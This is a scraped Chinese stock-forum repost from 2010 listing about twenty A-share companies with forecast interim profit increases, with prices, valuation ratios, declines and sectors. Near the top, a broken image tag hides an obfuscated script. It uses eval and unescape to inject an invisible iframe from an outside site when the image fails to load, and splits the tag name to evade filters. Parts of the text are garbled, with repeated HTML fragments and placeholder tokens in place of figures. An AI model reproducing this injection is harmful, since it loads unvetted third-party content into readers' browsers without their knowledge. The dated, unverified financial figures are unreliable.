驰宏锌锗(600497)被错杀的中期业绩预增股一览!!! - shanglusong ...
驰宏锌锗(600497)被错杀的中期业绩预增股一览!!! [转贴 2010-06-18 23:18:33]   
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" onload="var image=new Image();image.src=this.src;if(image.width>0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" onload="var image=new Image();image.src=this.src;if(image.width>0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//www.jixian.net/336x280.html%20width%3D336%20height%3D280%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

000608 阳光股份(000608)4.52 7.30 4.14 -23.76 净利润约39,821万元~49,776万元,增长60%~{bfb} 0.57 房地产
  600166 福田汽车(600166)8.21 18.59 -1.90 -20.22 大幅增长 0.566 交运设备
  600266 北京城建(600266)8.51 12.43 6.42 -26.68 增长50%以上 0.3651 房地产
  600533 栖霞建设(600533)9.57 5.11 0.99 -20.63 增长{bfb}以上 0.1335 房地产
  600745 中茵股份 10.97 7.24 4.93 -25.35 大幅度变动 0.16 房地产
  000612 焦作万方(000612)12.74 19.52 0.67 -30.35 净利润约27665万元~33427万元,上升2604%~3198% 0.383 有色金属
  002001 新和成(002001)13.87 29.49 -5.72 -20.55 增长30~60% 0.73 医药生物
  002208 合肥城建(002208)14.40 10.63 10.00 -26.46 增长380%~430% 0.37 房地产
  600761 安徽合力(600761)16.22 12.28 1.32 -24.19 增长50%以上 0.19 机械设备
  002244 滨江集团(002244)17.33 9.70 7.30 -31.41 增长50%以上 0.14 房地产
  600626 申达股份(600626)18.00 6.07 1.47 -24.91 增长50%以上 0.0843 纺织服装
  600375 星马汽车(600375)18.15 17.29 7.73 -26.60 增长200%以上 0.24 机械设备
  600395 盘江股份(600395)18.60 20.90 -1.79 -23.42 增长50%以上 0.281 采掘
  000581 威孚高科(000581)18.66 15.00 2.04 -21.15 净利润约25,000万元,增减变动184.60% 0.2 机械设备
  002126 银轮股份(002126)18.90 19.81 3.12 -22.12 增长130%~180% 0.26 交运设备
  600183 生益科技(600183)19.69 9.32 -3.22 -23.61 增长50%以上 0.1184 电子元器件
  002172 澳洋科技(002172)19.75 8.71 4.56 -21.32 盈利9,000万元~10,000万元,增长50%以上 0.17 化工
  002085 万丰奥威(002085)20.48 8.39 3.37 -29.45 增长{bfb}~150% 0.1 交运设备
  002048 宁波华翔(002048)20.84 12.12 2.28 -29.57 增长60%~90% 0.17 交运设备
  000965 天保基建(000965)20.91 10.78 4.66 -21.51 净利润7000万元~9000万元,增减变动125%~190% 0.13 房地产

郑重声明:资讯 【驰宏锌锗(600497)被错杀的中期业绩预增股一览!!! - shanglusong ...】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——